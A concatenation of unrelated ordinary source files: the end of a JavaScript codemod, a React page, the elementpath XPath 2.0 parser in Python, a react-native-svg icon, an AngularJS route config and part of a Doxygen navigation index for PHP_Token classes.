this.traverse(path);
} else {
replaceCount++;
didReplace = true;
const args = path.node.arguments;
const { parameters } = knownHooks[path.node.callee.name];
path.node.arguments = [
builders.objectExpression(
parameters
.map((it, idx) => {
if (isNil(args[idx])) {
return undefined;
}
return builders.objectProperty(
builders.identifier(it),
args[idx],
);
})
.filter((it) => !!it),
),
];
this.traverse(path);
}
},
});
if (didReplace) {
modifiedFileCount++;
await writeFile(file, recast.print(ast).code, "utf-8");
}
}),
);
}
eventStop(event);
return {
callCount: replaceCount,
fileCount: modifiedFileCount,
};
}
/**
* Parse a file, enabling typescript and jsx parsers when necessary
*
* @param {string} file
* @param {string} contents
* @returns {Promise<File|any>}
*/
async function parseFile(file, contents) {
let babel;
try {
babel = await import("@babel/parser");
} catch (e) {
throw new AppError("cli.codeMod.failedToLoadBabel", 500, {
message: "Please install @compas/lint-config, or @babel/parser directly.",
});
}
const babelOpts = await import("recast/parsers/_babel_options.js");
const opts = babelOpts.default.default();
try {
return recast.parse(contents, {
parser: {
parse(code) {
if (file.endsWith(".ts")) {
opts.plugins.push("typescript");
} else if (file.endsWith(".tsx")) {
opts.plugins.push("jsx", "typescript");
} else if (file.endsWith(".jsx")) {
opts.plugins.push("jsx");
}
return babel.parse(code, opts);
},
},
});
} catch (e) {
throw new AppError(
"cli.codeMod.failedToParseFile",
500,
{
file,
},
e,
);
}
}
|
import React, {useEffect} from 'react';
import Layout from "../components/Layout";
import Devices from "../components/Devices";
const DevicesPage = () => {
return (
<Layout>
<h5 className="mb-5">Συσκευές</h5>
<Devices className="container-fluid data-table-striped data-table"/>
</Layout>
)
}
export default DevicesPage; |
#
# Copyright (c), 2018-2021, SISSA (International School for Advanced Studies).
# All rights reserved.
# This file is distributed under the terms of the MIT License.
# See the file 'LICENSE' in the root directory of the present
# distribution, or http://opensource.org/licenses/MIT.
#
# @author Davide Brunato <[email protected]>
#
"""
XPath 2.0 implementation - part 1 (parser class and symbols)
"""
from abc import ABCMeta
import locale
from collections.abc import MutableSequence
from urllib.parse import urlparse
from typing import cast, Any, Callable, ClassVar, Dict, FrozenSet, List, \
MutableMapping, Optional, Tuple, Type, Union
from ..helpers import normalize_sequence_type
from ..exceptions import ElementPathError, ElementPathTypeError, \
ElementPathValueError, MissingContextError, xpath_error
from ..namespaces import NamespacesType, XSD_NAMESPACE, XML_NAMESPACE, \
XPATH_FUNCTIONS_NAMESPACE, XQT_ERRORS_NAMESPACE, \
XSD_NOTATION, XSD_ANY_ATOMIC_TYPE, get_prefixed_name
from ..datatypes import UntypedAtomic, AtomicValueType, QName
from ..xpath_token import UNICODE_CODEPOINT_COLLATION, NargsType, \
XPathToken, XPathFunction, XPathConstructor
from ..xpath_context import XPathContext
from ..schema_proxy import AbstractSchemaProxy
from ..xpath1 import XPath1Parser
class XPath2Parser(XPath1Parser):
"""
XPath 2.0 expression parser class. This is the default parser used by XPath selectors.
A parser instance represents also the XPath static context. With *variable_types* you
can pass a dictionary with the types of the in-scope variables.
Provide a *namespaces* dictionary argument for mapping namespace prefixes to URI inside
expressions. If *strict* is set to `False` the parser enables also the parsing of QNames,
like the ElementPath library. There are some additional XPath 2.0 related arguments.
:param namespaces: a dictionary with mapping from namespace prefixes into URIs.
:param variable_types: a dictionary with the static context's in-scope variable \
types. It defines the associations between variables and static types.
:param strict: if strict mode is `False` the parser enables parsing of QNames, \
like the ElementPath library. Default is `True`.
:param compatibility_mode: if set to `True` the parser instance works with \
XPath 1.0 compatibility rules.
:param default_namespace: the default namespace to apply to unprefixed names. \
For default no namespace is applied (empty namespace '').
:param function_namespace: the default namespace to apply to unprefixed function \
names. For default the namespace "http://www.w3.org/2005/xpath-functions" is used.
:param schema: the schema proxy class or instance to use for types, attributes and \
elements lookups. If an `AbstractSchemaProxy` subclass is provided then a schema \
proxy instance is built without the optional argument, that involves a mapping of \
only XSD builtin types. If it's not provided the XPath 2.0 schema's related \
expressions cannot be used.
:param base_uri: an absolute URI maybe provided, used when necessary in the \
resolution of relative URIs.
:param default_collation: the default string collation to use. If not set the \
environment's default locale setting is used.
:param document_types: statically known documents, that is a dictionary from \
absolute URIs onto types. Used for type check when calling the *fn:doc* function \
with a sequence of URIs. The default type of a document is 'document-node()'.
:param collection_types: statically known collections, that is a dictionary from \
absolute URIs onto types. Used for type check when calling the *fn:collection* \
function with a sequence of URIs. The default type of a collection is 'node()*'.
:param default_collection_type: this is the type of the sequence of nodes that \
would result from calling the *fn:collection* function with no arguments. \
Default is 'node()*'.
"""
version = '2.0'
SYMBOLS: ClassVar[FrozenSet[str]] = XPath1Parser.SYMBOLS | {
'union', 'intersect', 'instance', 'castable', 'if', 'then', 'else', 'for', 'to',
'some', 'every', 'in', 'satisfies', 'item', 'satisfies', 'cast', 'treat',
'return', 'except', '?', 'as', 'of',
# Comments
'(:', ':)',
# Value comparison operators
'eq', 'ne', 'lt', 'le', 'gt', 'ge',
# Node comparison operators
'is', '<<', '>>',
# Mathematical operators
'idiv',
# Node type functions
'document-node', 'schema-attribute', 'element', 'schema-element',
'attribute', 'empty-sequence',
# Accessor functions
'node-name', 'nilled', 'data', 'base-uri', 'document-uri',
# Number functions
'abs', 'round-half-to-even',
# Aggregate functions
'avg', 'min', 'max',
# String functions
'codepoints-to-string', 'string-to-codepoints', 'compare', 'codepoint-equal',
'string-join', 'normalize-unicode', 'upper-case', 'lower-case', 'encode-for-uri',
'iri-to-uri', 'escape-html-uri', 'ends-with',
# General functions for sequences
'distinct-values', 'empty', 'exists', 'index-of', 'insert-before', 'remove',
'reverse', 'subsequence', 'unordered',
# Cardinality functions for sequences
'zero-or-one', 'one-or-more', 'exactly-one',
# Comparing function for sequences
'deep-equal',
# Pattern matching functions
'matches', 'replace', 'tokenize',
# Functions on anyURI
'resolve-uri',
# Functions for extracting fragments from xs:duration
'years-from-duration', 'months-from-duration', 'days-from-duration',
'hours-from-duration', 'minutes-from-duration', 'seconds-from-duration',
# Functions for extracting fragments from xs:dateTime
'year-from-dateTime', 'month-from-dateTime', 'day-from-dateTime', 'hours-from-dateTime',
'minutes-from-dateTime', 'seconds-from-dateTime', 'timezone-from-dateTime',
# Functions for extracting fragments from xs:date
'year-from-date', 'month-from-date', 'day-from-date', 'timezone-from-date',
# Functions for extracting fragments from xs:time
'hours-from-time', 'minutes-from-time', 'seconds-from-time', 'timezone-from-time',
# Timezone adjustment functions
'adjust-dateTime-to-timezone', 'adjust-date-to-timezone', 'adjust-time-to-timezone',
# Functions Related to QNames (QName function is also a constructor)
'QName', 'local-name-from-QName', 'prefix-from-QName', 'local-name-from-QName',
'namespace-uri-from-QName', 'namespace-uri-for-prefix', 'in-scope-prefixes',
'resolve-QName',
# Static context functions
'default-collation', 'static-base-uri',
# Dynamic context functions
'current-dateTime', 'current-date', 'current-time', 'implicit-timezone',
# Node set functions
'root',
# Error function and trace function
'error', 'trace',
# XSD builtins constructors ('string', 'boolean' and 'QName' are
# already registered as functions)
'normalizedString', 'token', 'language', 'Name', 'NCName', 'ENTITY', 'ID',
'IDREF', 'NMTOKEN', 'anyURI', 'NOTATION', 'decimal', 'int', 'integer', 'long',
'short', 'byte', 'double', 'float', 'nonNegativeInteger', 'positiveInteger',
'nonPositiveInteger', 'negativeInteger', 'unsignedLong', 'unsignedInt',
'unsignedShort', 'unsignedByte', 'dateTime', 'date', 'time', 'gDay', 'gMonth',
'gYear', 'gMonthDay', 'gYearMonth', 'duration', 'dayTimeDuration',
'yearMonthDuration', 'dateTimeStamp', 'base64Binary', 'hexBinary', 'untypedAtomic',
# Functions and Operators that Generate Sequences ('id' changes but
# is already registered)
'element-with-id', 'idref', 'doc', 'doc-available', 'collection',
}
DEFAULT_NAMESPACES: ClassVar[Dict[str, str]] = {
'xml': XML_NAMESPACE,
'xs': XSD_NAMESPACE,
# 'xlink': XLINK_NAMESPACE,
'fn': XPATH_FUNCTIONS_NAMESPACE,
'err': XQT_ERRORS_NAMESPACE
}
PATH_STEP_LABELS = ('axis', 'function', 'kind test')
PATH_STEP_SYMBOLS = {
'(integer)', '(string)', '(float)', '(decimal)', '(name)', '*', '@', '..', '.', '(', '{'
}
# https://www.w3.org/TR/xpath20/#id-reserved-fn-names
RESERVED_FUNCTION_NAMES = {
'attribute', 'comment', 'document-node', 'element', 'empty-sequence',
'if', 'item', 'node', 'processing-instruction', 'schema-attribute',
'schema-element', 'text', 'typeswitch',
}
function_signatures: Dict[Tuple[QName, int], str] = XPath1Parser.function_signatures.copy()
namespaces: Dict[str, str]
token: XPathToken
next_token: XPathToken
def __init__(self, namespaces: Optional[NamespacesType] = None,
variable_types: Optional[Dict[str, str]] = None,
strict: bool = True,
compatibility_mode: bool = False,
default_collation: Optional[str] = None,
default_namespace: Optional[str] = None,
function_namespace: Optional[str] = None,
xsd_version: Optional[str] = None,
schema: Optional[AbstractSchemaProxy] = None,
base_uri: Optional[str] = None,
document_types: Optional[Dict[str, str]] = None,
collection_types: Optional[Dict[str, str]] = None,
default_collection_type: str = 'node()*') -> None:
super(XPath2Parser, self).__init__(namespaces, strict)
self._compatibility_mode = compatibility_mode
self._default_collation = default_collation
self._xsd_version = xsd_version if xsd_version is not None else '1.0'
if default_namespace is not None:
self.namespaces[''] = default_namespace
if function_namespace is not None:
self.function_namespace = function_namespace
if schema is None:
pass
elif not isinstance(schema, AbstractSchemaProxy):
msg = "argument 'schema' must be an instance of AbstractSchemaProxy"
raise ElementPathTypeError(msg)
else:
schema.bind_parser(self)
if not variable_types:
self.variable_types = {}
elif all(self.is_sequence_type(v) for v in variable_types.values()):
self.variable_types = {
k: normalize_sequence_type(v) for k, v in variable_types.items()
}
else:
raise ElementPathValueError('invalid sequence type for in-scope variable types')
self.base_uri = None if base_uri is None else urlparse(base_uri).geturl()
if document_types:
if any(not self.is_sequence_type(v) for v in document_types.values()):
raise ElementPathValueError('invalid sequence type in document_types argument')
self.document_types = document_types
if collection_types:
if any(not self.is_sequence_type(v) for v in collection_types.values()):
raise ElementPathValueError('invalid sequence type in collection_types argument')
self.collection_types = collection_types
if not self.is_sequence_type(default_collection_type):
raise ElementPathValueError('invalid sequence type for '
'default_collection_type argument')
self.default_collection_type = default_collection_type
def __getstate__(self) -> Dict[str, Any]:
state = self.__dict__.copy()
state.pop('symbol_table', None)
state.pop('tokenizer', None)
return state
@property
def compatibility_mode(self) -> bool:
return self._compatibility_mode
@compatibility_mode.setter
def compatibility_mode(self, value: bool) -> None:
self._compatibility_mode = value
@property
def default_collation(self) -> str:
if self._default_collation is not None:
return self._default_collation
language_code, encoding = locale.getdefaultlocale()
if language_code is None:
return UNICODE_CODEPOINT_COLLATION
elif encoding is None or not encoding:
return language_code
else:
collation = f'{language_code}.{encoding}'
if collation != 'en_US.UTF-8':
return collation
else:
return UNICODE_CODEPOINT_COLLATION
@property
def default_namespace(self) -> Optional[str]:
return self.namespaces.get('')
@property
def xsd_version(self) -> str:
if self.schema is None:
return self._xsd_version
try:
return self.schema.xsd_version
except (AttributeError, NotImplementedError):
return self._xsd_version
def advance(self, *symbols: str) -> XPathToken:
super(XPath2Parser, self).advance(*symbols)
if self.next_token.symbol == '(:':
try:
self.token.unexpected(':')
except AttributeError:
pass
# Parses and consumes an XPath 2.0 comment. A comment is
# delimited by symbols '(:' and ':)' and can be nested.
comment_level = 1
while comment_level:
self.advance_until('(:', ':)')
if self.next_token.symbol == ':)':
comment_level -= 1
else:
comment_level += 1
self.advance(':)')
self.next_token.unexpected(':')
return self.next_token
@classmethod
def constructor(cls, symbol: str, bp: int = 0, nargs: NargsType = 1,
sequence_types: Union[Tuple[()], Tuple[str, ...], List[str]] = (),
label: Union[str, Tuple[str, ...]] = 'constructor function') \
-> Callable[[Callable[..., Any]], Callable[..., Any]]:
"""Creates a constructor token class."""
def nud_(self: XPathConstructor) -> XPathConstructor:
try:
self.parser.advance('(')
self[0:] = self.parser.expression(5),
if self.parser.next_token.symbol == ',':
raise self.wrong_nargs('Too many arguments: expected at most 1 argument')
self.parser.advance(')')
self.value = None
except SyntaxError:
raise self.error('XPST0017') from None
if self[0].symbol == '?':
self._partial_function()
return self
def evaluate_(self: XPathConstructor, context: Optional[XPathContext] = None) \
-> Union[List[None], AtomicValueType]:
arg = self.data_value(self.get_argument(context))
if arg is None:
return []
elif arg == '?' and self[0].symbol == '?':
raise self.error('XPTY0004', "cannot evaluate a partial function")
try:
if isinstance(arg, UntypedAtomic):
return self.cast(arg.value)
return self.cast(arg)
except ElementPathError:
raise
except (TypeError, ValueError) as err:
raise self.error('FORG0001', err) from None
if not sequence_types:
assert nargs == 1
sequence_types = ('xs:anyAtomicType?', 'xs:%s?' % symbol)
token_class = cls.register(symbol, nargs=nargs, sequence_types=sequence_types,
label=label, bases=(XPathConstructor,), lbp=bp, rbp=bp,
nud=nud_, evaluate=evaluate_)
def bind(func: Callable[..., Any]) -> Callable[..., Any]:
method_name = func.__name__.partition('_')[0]
if method_name != 'cast':
raise ValueError("The function name must be 'cast' or starts with 'cast_'")
setattr(token_class, method_name, func)
return func
return bind
def schema_constructor(self, atomic_type_name: str, bp: int = 90) \
-> Type[XPathFunction]:
"""Registers a token class for a schema atomic type constructor function."""
if atomic_type_name in (XSD_ANY_ATOMIC_TYPE, XSD_NOTATION):
raise xpath_error('XPST0080')
def nud_(self_: XPathFunction) -> XPathFunction:
self_.parser.advance('(')
self_[0:] = self_.parser.expression(5),
self_.parser.advance(')')
try:
self_.value = self_.evaluate() # Static context evaluation
except MissingContextError:
self_.value = None
return self_
def evaluate_(self_: XPathFunction, context: Optional[XPathContext] = None) \
-> Union[List[None], AtomicValueType]:
arg = self_.get_argument(context)
if arg is None or self_.parser.schema is None:
return []
value = self_.string_value(arg)
try:
return self_.parser.schema.cast_as(value, atomic_type_name)
except (TypeError, ValueError) as err:
raise self_.error('FORG0001', err)
symbol = get_prefixed_name(atomic_type_name, self.namespaces)
token_class_name = "_%sConstructorFunction" % symbol.replace(':', '_')
kwargs = {
'symbol': symbol,
'nargs': 1,
'label': 'constructor function',
'pattern': r'\b%s(?=\s*\(|\s*\(\:.*\:\)\()' % symbol,
'lbp': bp,
'rbp': bp,
'nud': nud_,
'evaluate': evaluate_,
'__module__': self.__module__,
'__qualname__': token_class_name,
'__return__': None
}
token_class = cast(
Type[XPathFunction], ABCMeta(token_class_name, (XPathFunction,), kwargs)
)
MutableSequence.register(token_class)
self.symbol_table[symbol] = token_class
return token_class
def is_schema_bound(self) -> bool:
return 'symbol_table' in self.__dict__
def parse(self, source: str) -> XPathToken:
root_token = super(XPath1Parser, self).parse(source)
if root_token.label in ('sequence type', 'function test'):
raise root_token.error('XPST0003', "not allowed in XPath expression")
if self.schema is None:
try:
root_token.evaluate() # Static context evaluation
except MissingContextError:
pass
else:
# Static context evaluation with a dynamic schema context
context = self.schema.get_context()
for _ in root_token.select(context):
pass
return root_token
def check_variables(self, values: MutableMapping[str, Any]) -> None:
if self.variable_types is None:
return
for varname, xsd_type in self.variable_types.items():
if varname not in values:
raise xpath_error('XPST0008', "missing variable {!r}".format(varname))
for varname, value in values.items():
try:
sequence_type = self.variable_types[varname]
except KeyError:
sequence_type = 'item()*' if isinstance(value, list) else 'item()'
if not self.match_sequence_type(value, sequence_type):
message = "Unmatched sequence type for variable {!r}".format(varname)
raise xpath_error('XPDY0050', message)
##
# Remove symbols that have to be redefined for XPath 2.0.
XPath2Parser.unregister(',')
XPath2Parser.unregister('(')
XPath2Parser.unregister('$')
XPath2Parser.unregister('contains')
XPath2Parser.unregister('lang')
XPath2Parser.unregister('id')
XPath2Parser.unregister('substring-before')
XPath2Parser.unregister('substring-after')
XPath2Parser.unregister('starts-with')
###
# Symbols
XPath2Parser.register('then')
XPath2Parser.register('else')
XPath2Parser.register('in')
XPath2Parser.register('return')
XPath2Parser.register('satisfies')
XPath2Parser.register('?')
XPath2Parser.register('(:')
XPath2Parser.register(':)')
# XPath 2.0 definitions continue into module xpath2_operators
|
import React from 'react';
import PropTypes from 'prop-types';
import {
Svg,
Circle as _Circle,
Ellipse,
G,
LinearGradient,
RadialGradient,
Line,
Path,
Polygon,
Polyline,
Rect,
Symbol,
Text,
Use,
Defs,
Stop,
} from 'react-native-svg';
const AlarmCheck = props => {
const { color, size, fill, strokeWidth, ...otherProps } = props;
return (
<Svg
width={size}
height={size}
viewBox="0 0 24 24"
fill={fill}
stroke={color}
strokeWidth={strokeWidth}
strokeLinecap="round"
strokeLinejoin="round"
{...otherProps}
>
<Path
d="M12 21a8 8 0 100-16 8 8 0 000 16z"
fill={fill}
stroke={color}
strokeWidth={strokeWidth}
strokeLinecap="round"
strokeLinejoin="round"
/>
<Path
d="M5 3L2 6"
fill={fill}
stroke={color}
strokeWidth={strokeWidth}
strokeLinecap="round"
strokeLinejoin="round"
/>
<Path
d="M22 6l-3-3"
fill={fill}
stroke={color}
strokeWidth={strokeWidth}
strokeLinecap="round"
strokeLinejoin="round"
/>
<Path
d="M6 19l-2 2"
fill={fill}
stroke={color}
strokeWidth={strokeWidth}
strokeLinecap="round"
strokeLinejoin="round"
/>
<Path
d="M18 19l2 2"
fill={fill}
stroke={color}
strokeWidth={strokeWidth}
strokeLinecap="round"
strokeLinejoin="round"
/>
<Path
d="M9 13l2 2 4-4"
fill={fill}
stroke={color}
strokeWidth={strokeWidth}
strokeLinecap="round"
strokeLinejoin="round"
/>
</Svg>
);
};
AlarmCheck.propTypes = {
color: PropTypes.string,
fill: PropTypes.string,
strokeWidth: PropTypes.string,
size: PropTypes.oneOfType([PropTypes.string, PropTypes.number]),
};
AlarmCheck.defaultProps = {
color: 'black',
size: '24',
fill: 'none',
strokeWidth: '2',
};
export default AlarmCheck;
|
(function() {
'use strict';
angular
.module('noctemApp')
.config(stateConfig);
stateConfig.$inject = ['$stateProvider'];
function stateConfig($stateProvider) {
$stateProvider.state('jhi-configuration', {
parent: 'admin',
url: '/configuration',
data: {
authorities: ['ROLE_SUPERADMIN'],
pageTitle: 'configuration.title'
},
views: {
'content@': {
templateUrl: 'app/admin/configuration/configuration.html',
controller: 'JhiConfigurationController',
controllerAs: 'vm'
}
},
resolve: {
translatePartialLoader: ['$translate', '$translatePartialLoader', function ($translate, $translatePartialLoader) {
$translatePartialLoader.addPart('configuration');
return $translate.refresh();
}]
}
});
}
})();
|
var NAVTREEINDEX26 =
{
"classPHP__Token__BOOLEAN__AND.html#a65b3ac33c6861378ee7aa071ba6539eb":[60,0,25,2],
"classPHP__Token__BOOLEAN__AND.html#a7ae1d600ed52531dc679f700a7af5d24":[60,0,25,3],
"classPHP__Token__BOOLEAN__AND.html#acaceb755d410d45b3b701ff0d13c6b76":[60,0,25,0],
"classPHP__Token__BOOLEAN__OR.html":[60,0,26],
"classPHP__Token__BOOLEAN__OR.html#a1ea1335cc828e933eb6d49c816a3b9cf":[60,0,26,6],
"classPHP__Token__BOOLEAN__OR.html#a2a16dabb2bbd437c2ba1f83d05af3a8a":[60,0,26,1],
"classPHP__Token__BOOLEAN__OR.html#a3aa3f1bbba559575f53b7b29a50ffa09":[60,0,26,4],
"classPHP__Token__BOOLEAN__OR.html#a52fcabfee4075dbc86fc6c97e6f60392":[60,0,26,5],
"classPHP__Token__BOOLEAN__OR.html#a65b3ac33c6861378ee7aa071ba6539eb":[60,0,26,2],
"classPHP__Token__BOOLEAN__OR.html#a7ae1d600ed52531dc679f700a7af5d24":[60,0,26,3],
"classPHP__Token__BOOLEAN__OR.html#acaceb755d410d45b3b701ff0d13c6b76":[60,0,26,0],
"classPHP__Token__BOOL__CAST.html":[60,0,24],
"classPHP__Token__BOOL__CAST.html#a1ea1335cc828e933eb6d49c816a3b9cf":[60,0,24,6],
"classPHP__Token__BOOL__CAST.html#a2a16dabb2bbd437c2ba1f83d05af3a8a":[60,0,24,1],
"classPHP__Token__BOOL__CAST.html#a3aa3f1bbba559575f53b7b29a50ffa09":[60,0,24,4],
"classPHP__Token__BOOL__CAST.html#a52fcabfee4075dbc86fc6c97e6f60392":[60,0,24,5],
"classPHP__Token__BOOL__CAST.html#a65b3ac33c6861378ee7aa071ba6539eb":[60,0,24,2],
"classPHP__Token__BOOL__CAST.html#a7ae1d600ed52531dc679f700a7af5d24":[60,0,24,3],
"classPHP__Token__BOOL__CAST.html#acaceb755d410d45b3b701ff0d13c6b76":[60,0,24,0],
"classPHP__Token__BREAK.html":[60,0,27],
"classPHP__Token__BREAK.html#a1ea1335cc828e933eb6d49c816a3b9cf":[60,0,27,6],
"classPHP__Token__BREAK.html#a2a16dabb2bbd437c2ba1f83d05af3a8a":[60,0,27,1],
"classPHP__Token__BREAK.html#a3aa3f1bbba559575f53b7b29a50ffa09":[60,0,27,4],
"classPHP__Token__BREAK.html#a52fcabfee4075dbc86fc6c97e6f60392":[60,0,27,5],
"classPHP__Token__BREAK.html#a65b3ac33c6861378ee7aa071ba6539eb":[60,0,27,2],
"classPHP__Token__BREAK.html#a7ae1d600ed52531dc679f700a7af5d24":[60,0,27,3],
"classPHP__Token__BREAK.html#acaceb755d410d45b3b701ff0d13c6b76":[60,0,27,0],
"classPHP__Token__CALLABLE.html":[60,0,28],
"classPHP__Token__CALLABLE.html#a1ea1335cc828e933eb6d49c816a3b9cf":[60,0,28,6],
"classPHP__Token__CALLABLE.html#a2a16dabb2bbd437c2ba1f83d05af3a8a":[60,0,28,1],
"classPHP__Token__CALLABLE.html#a3aa3f1bbba559575f53b7b29a50ffa09":[60,0,28,4],
"classPHP__Token__CALLABLE.html#a52fcabfee4075dbc86fc6c97e6f60392":[60,0,28,5],
"classPHP__Token__CALLABLE.html#a65b3ac33c6861378ee7aa071ba6539eb":[60,0,28,2],
"classPHP__Token__CALLABLE.html#a7ae1d600ed52531dc679f700a7af5d24":[60,0,28,3],
"classPHP__Token__CALLABLE.html#acaceb755d410d45b3b701ff0d13c6b76":[60,0,28,0],
"classPHP__Token__CARET.html":[60,0,29],
"classPHP__Token__CARET.html#a1ea1335cc828e933eb6d49c816a3b9cf":[60,0,29,6],
"classPHP__Token__CARET.html#a2a16dabb2bbd437c2ba1f83d05af3a8a":[60,0,29,1],
"classPHP__Token__CARET.html#a3aa3f1bbba559575f53b7b29a50ffa09":[60,0,29,4],
"classPHP__Token__CARET.html#a52fcabfee4075dbc86fc6c97e6f60392":[60,0,29,5],
"classPHP__Token__CARET.html#a65b3ac33c6861378ee7aa071ba6539eb":[60,0,29,2],
"classPHP__Token__CARET.html#a7ae1d600ed52531dc679f700a7af5d24":[60,0,29,3],
"classPHP__Token__CARET.html#acaceb755d410d45b3b701ff0d13c6b76":[60,0,29,0],
"classPHP__Token__CASE.html":[60,0,30],
"classPHP__Token__CASE.html#a1ea1335cc828e933eb6d49c816a3b9cf":[60,0,30,6],
"classPHP__Token__CASE.html#a2a16dabb2bbd437c2ba1f83d05af3a8a":[60,0,30,1],
"classPHP__Token__CASE.html#a3aa3f1bbba559575f53b7b29a50ffa09":[60,0,30,4],
"classPHP__Token__CASE.html#a52fcabfee4075dbc86fc6c97e6f60392":[60,0,30,5],
"classPHP__Token__CASE.html#a65b3ac33c6861378ee7aa071ba6539eb":[60,0,30,2],
"classPHP__Token__CASE.html#a7ae1d600ed52531dc679f700a7af5d24":[60,0,30,3],
"classPHP__Token__CASE.html#acaceb755d410d45b3b701ff0d13c6b76":[60,0,30,0],
"classPHP__Token__CATCH.html":[60,0,31],
"classPHP__Token__CATCH.html#a1ea1335cc828e933eb6d49c816a3b9cf":[60,0,31,6],
"classPHP__Token__CATCH.html#a2a16dabb2bbd437c2ba1f83d05af3a8a":[60,0,31,1],
"classPHP__Token__CATCH.html#a3aa3f1bbba559575f53b7b29a50ffa09":[60,0,31,4],
"classPHP__Token__CATCH.html#a52fcabfee4075dbc86fc6c97e6f60392":[60,0,31,5],
"classPHP__Token__CATCH.html#a65b3ac33c6861378ee7aa071ba6539eb":[60,0,31,2],
"classPHP__Token__CATCH.html#a7ae1d600ed52531dc679f700a7af5d24":[60,0,31,3],
"classPHP__Token__CATCH.html#acaceb755d410d45b3b701ff0d13c6b76":[60,0,31,0],
"classPHP__Token__CHARACTER.html":[60,0,32],
"classPHP__Token__CHARACTER.html#a1ea1335cc828e933eb6d49c816a3b9cf":[60,0,32,6],
"classPHP__Token__CHARACTER.html#a2a16dabb2bbd437c2ba1f83d05af3a8a":[60,0,32,1],
"classPHP__Token__CHARACTER.html#a3aa3f1bbba559575f53b7b29a50ffa09":[60,0,32,4],
"classPHP__Token__CHARACTER.html#a52fcabfee4075dbc86fc6c97e6f60392":[60,0,32,5],
"classPHP__Token__CHARACTER.html#a65b3ac33c6861378ee7aa071ba6539eb":[60,0,32,2],
"classPHP__Token__CHARACTER.html#a7ae1d600ed52531dc679f700a7af5d24":[60,0,32,3],
"classPHP__Token__CHARACTER.html#acaceb755d410d45b3b701ff0d13c6b76":[60,0,32,0],
"classPHP__Token__CLASS.html":[60,0,33],
"classPHP__Token__CLASS.html#a1e22cb39b089a356627b10044fd31f95":[60,0,33,9],
"classPHP__Token__CLASS.html#a1ea1335cc828e933eb6d49c816a3b9cf":[60,0,33,23],
"classPHP__Token__CLASS.html#a1f2adbc994405689515aa7c81ac0b55f":[60,0,33,1],
"classPHP__Token__CLASS.html#a25b4bc6c8deb0cbd9f555c8cab39c8b6":[60,0,33,15],
"classPHP__Token__CLASS.html#a2a16dabb2bbd437c2ba1f83d05af3a8a":[60,0,33,5],
"classPHP__Token__CLASS.html#a34ee51c7b40cccb9611f6f7ab1d69629":[60,0,33,16],
"classPHP__Token__CLASS.html#a3aa3f1bbba559575f53b7b29a50ffa09":[60,0,33,20],
"classPHP__Token__CLASS.html#a3e93df42b99a711de8a3c373534c5352":[60,0,33,13],
"classPHP__Token__CLASS.html#a44c9d182cfdef9257bf1bd9c1ce4184b":[60,0,33,12],
"classPHP__Token__CLASS.html#a4dcbe206e69b8f8ec301a3a205fe1f16":[60,0,33,11],
"classPHP__Token__CLASS.html#a5162ab2a6c11b3166b0b7f45285918d3":[60,0,33,10],
"classPHP__Token__CLASS.html#a52fcabfee4075dbc86fc6c97e6f60392":[60,0,33,22],
"classPHP__Token__CLASS.html#a5a62f6058d591f4630ee17c418c6daf1":[60,0,33,7],
"classPHP__Token__CLASS.html#a600cc0b641d191f4aed46d0dad6b2d54":[60,0,33,6],
"classPHP__Token__CLASS.html#a65b3ac33c6861378ee7aa071ba6539eb":[60,0,33,8],
"classPHP__Token__CLASS.html#a6bcbff361b84319ddf7ba0ed651d9b1f":[60,0,33,3],
"classPHP__Token__CLASS.html#a6f818f738b24cf10f205633aab59a0a5":[60,0,33,19],
"classPHP__Token__CLASS.html#a7ae1d600ed52531dc679f700a7af5d24":[60,0,33,18],
"classPHP__Token__CLASS.html#a8467423335f1784aa1d7fc2fbc12a7c9":[60,0,33,14],
"classPHP__Token__CLASS.html#ab64f5584000f709681a8f0a136aadac3":[60,0,33,21],
"classPHP__Token__CLASS.html#ab9c03167b404bba3f507346aa61392a7":[60,0,33,2],
"classPHP__Token__CLASS.html#aca28eba84f5f3e7a9fa120460aa58c92":[60,0,33,4],
"classPHP__Token__CLASS.html#acaceb755d410d45b3b701ff0d13c6b76":[60,0,33,0],
"classPHP__Token__CLASS.html#aefb8e6e4ceac82aa111dc0d3045fa4b6":[60,0,33,17],
"classPHP__Token__CLASS__C.html":[60,0,34],
"classPHP__Token__CLASS__C.html#a1ea1335cc828e933eb6d49c816a3b9cf":[60,0,34,6],
"classPHP__Token__CLASS__C.html#a2a16dabb2bbd437c2ba1f83d05af3a8a":[60,0,34,1],
"classPHP__Token__CLASS__C.html#a3aa3f1bbba559575f53b7b29a50ffa09":[60,0,34,4],
"classPHP__Token__CLASS__C.html#a52fcabfee4075dbc86fc6c97e6f60392":[60,0,34,5],
"classPHP__Token__CLASS__C.html#a65b3ac33c6861378ee7aa071ba6539eb":[60,0,34,2],
"classPHP__Token__CLASS__C.html#a7ae1d600ed52531dc679f700a7af5d24":[60,0,34,3],
"classPHP__Token__CLASS__C.html#acaceb755d410d45b3b701ff0d13c6b76":[60,0,34,0],
"classPHP__Token__CLASS__NAME__CONSTANT.html":[60,0,35],
"classPHP__Token__CLASS__NAME__CONSTANT.html#a1ea1335cc828e933eb6d49c816a3b9cf":[60,0,35,6],
"classPHP__Token__CLASS__NAME__CONSTANT.html#a2a16dabb2bbd437c2ba1f83d05af3a8a":[60,0,35,1],
"classPHP__Token__CLASS__NAME__CONSTANT.html#a3aa3f1bbba559575f53b7b29a50ffa09":[60,0,35,4],
"classPHP__Token__CLASS__NAME__CONSTANT.html#a52fcabfee4075dbc86fc6c97e6f60392":[60,0,35,5],
"classPHP__Token__CLASS__NAME__CONSTANT.html#a65b3ac33c6861378ee7aa071ba6539eb":[60,0,35,2],
"classPHP__Token__CLASS__NAME__CONSTANT.html#a7ae1d600ed52531dc679f700a7af5d24":[60,0,35,3],
"classPHP__Token__CLASS__NAME__CONSTANT.html#acaceb755d410d45b3b701ff0d13c6b76":[60,0,35,0],
"classPHP__Token__CLONE.html":[60,0,36],
"classPHP__Token__CLONE.html#a1ea1335cc828e933eb6d49c816a3b9cf":[60,0,36,6],
"classPHP__Token__CLONE.html#a2a16dabb2bbd437c2ba1f83d05af3a8a":[60,0,36,1],
"classPHP__Token__CLONE.html#a3aa3f1bbba559575f53b7b29a50ffa09":[60,0,36,4],
"classPHP__Token__CLONE.html#a52fcabfee4075dbc86fc6c97e6f60392":[60,0,36,5],
"classPHP__Token__CLONE.html#a65b3ac33c6861378ee7aa071ba6539eb":[60,0,36,2],
"classPHP__Token__CLONE.html#a7ae1d600ed52531dc679f700a7af5d24":[60,0,36,3],
"classPHP__Token__CLONE.html#acaceb755d410d45b3b701ff0d13c6b76":[60,0,36,0],
"classPHP__Token__CLOSE__BRACKET.html":[60,0,37],
